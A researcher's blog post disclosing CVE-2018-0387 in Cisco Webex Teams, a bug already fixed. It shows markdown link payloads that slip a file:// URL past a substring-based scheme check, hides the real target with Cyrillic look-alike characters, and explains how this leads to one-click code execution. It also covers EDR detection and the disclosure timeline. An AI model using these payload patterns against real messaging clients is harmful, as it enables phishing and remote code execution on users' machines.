Cisco Webex Teams Remote Code Execution Vulnerability (CVE-2018-0387)

Hello all,

This time I want to talk about our internal Red Team experience. Just want to share my bug-story for Cisco WebEx Teams (previously known as Cisco Spark). We are using this awesome messenger because it can provide good quality communication channel between employees and also have a lot of cool features: group chats (like old good IRC channels), video/audios and pictures/files sharing and more.   It is an enterprise cloud-based solution with all cool encryption, SSO integration and privacy things, but at this moment it is not a subject of this post.

I want to disclose some detail about the vulnerability we found - CVE-2018-0387: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180718-webex-teams-rce




Vulnerability was found in HTML validator/cleaner, that are checks that “message” is “safe”. Cisco WebEx Teams are using Qt and MSHTML(on windows) module for rendering all messages in the chat window. To reproduce steps i created this simple logic (this is just my simplefied version of logic and all names are fake, but in real software everything is more complictaed and alittle bit different):

SENDER:
M = message_from_input  ; Input of the user
H = create_html(M)             ; Make a HTML with the message
S = clean_html(H)                 ; make sure that HTML is safe and remove all tags/js/attributes that are not
                                                 ;     defined in the patterns
E = encrypt_html(S)              ; encryption magic
send_message(E)                  ; send encrypted HTML message to the cloud

RECIEVER:
E = recieve_message()         ; Get new message from the server
D = decrypt(E)                       ; decryption magic
S = clean_html(D)                 ; make sure that HTML is safe and remove all tags/js/attributes that are not
                                                 ;     defined in the patterns
put_message(S)                    ; put in local database, and render     

First I tried to inject some XSS vectors, but all of them were cleaned and removed.  They have hardcoded patterns, and anything that are not “whitelisted” will be cleaned. Probably it is result of https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171004-sprk but I could be wrong. Anyway, this attack vector does not work (or I am too lazy to bypass it).
Then it is an interesting thing: how the software supports markdown syntaxes. And actually it parsing markdown tokens and format the input into valid HTML. Of course most interesting part here: supporting URL.  Let’s say input like this:
               

   [TEST](http://test.test) 

will be converted into:

    <p><a href=http://test.test alt=”http://test.test”>TEST</a></p>

Unfortunately it is not possible to inject “ for XSS and etc – it will be not parsed as markdown, and even if it will be parsed – anyway it will be  cleaned  after that in HTML cleaner. Also want to say that ‘clean’ function called on ‘victim’ side, after the message will be received and decrypted. All we need to check if this function can be ‘fooled’. But as I said before – I did not found how check on HTML patterns can be bypassed.  Last thing to check – URI scheme patterns, and Cisco developers also did knows about it, and that is why they add check on URI: it can be https://, http://, ftp:// and input

    [TEST](file://test.test) 

will be converted into:

    <p><a>file://test.test</a></p>

Other words – just into the text, without href.
but as I always said – design is one thing, implementation is another. It is very important HOW you do this check and unfortunately there were just substring check in whole string. An attacker can do next input:

    [http://bypass.com](file://test.test?http://bypass.com)

 
and this one will pass the check and will be converted into:

    <p><a href=file://test.test?http://bypass.com
        alt=”file://test.test?http://bypass.com”> file://test.test?http://bypass.com</a></p>

This is already bad, but also you can see that clean function also removed original text (http://bypass.com) and put the real link instead (with file://)… so if it will be a real attack, then victim will see that message is kind of suspicious. But I was also able to make a small trick: if in URL, after ‘http://’ I will use not Latin symbol, but Cyrillic:

    [http://bypАss.com](file://test.test?http://bypАss.com)

then it will be more interesting rendering:

    <p><a href=file://test.test?http://bypАss.com
    alt=”file://test.test?http://bypАss.com”> http://bypАss.com </a></p>

Now it will be rendered with the fake link, and real link only will be visible in case of manual check by moving mouse over the link:

Exploit link in the chat window (with caption text when mouse-over)

Our internal tests confirm, that users are not accurate enough with such links (because URL is already in the text, and in pop-up caption link is also ends-up with same 'fake' URL). This issue could be used for getting stable RCE, for that an attacker need to use a malicious host with some payload and also he needs a netbios name for an exploit link  and if victim will click on this link then this code will be executed immediately without any warnings or additional steps (in vido demo it was .bat file with ‘malicious’ code to execute).

Exploit Protection systems can not stop or detect this exploit/attacks since a legitimate mechanism was used, anyway we  have added IoC for this exploit to our EDR solution to monitor abnormal child processes that were spawned from Cisco Spark process.

In general, this attack vector is limited, since the attacker need to have access to your company chatting area, so it can be: external users that are invited to your space, external bots or internal ‘malicious’ or ‘infected’ users). Also the file:// should link to a local resource (URI with netbios name in remote case or local path) form maximum effect, in other cases (WebDav/UNC from Internet or using IP as a remote host) clicking on an exploit link will trigger default Windows warning pop-up (but if user click on "yes" button then malicious coude will be loaded from the Internet).

UPD: this exploit was possible to exploit by externals, since you can register into WebEx Teams, with any e-mail and search for any corp. person and send messages with exploit link.



PoC video:

Timeline:

Jan 22 2018       – Issue was reported to Cisco PSIRT
~ Mar 21 2018  – Issue was fixed and update was rolled out
Jul 18 2018       –  Advisory released by Cisco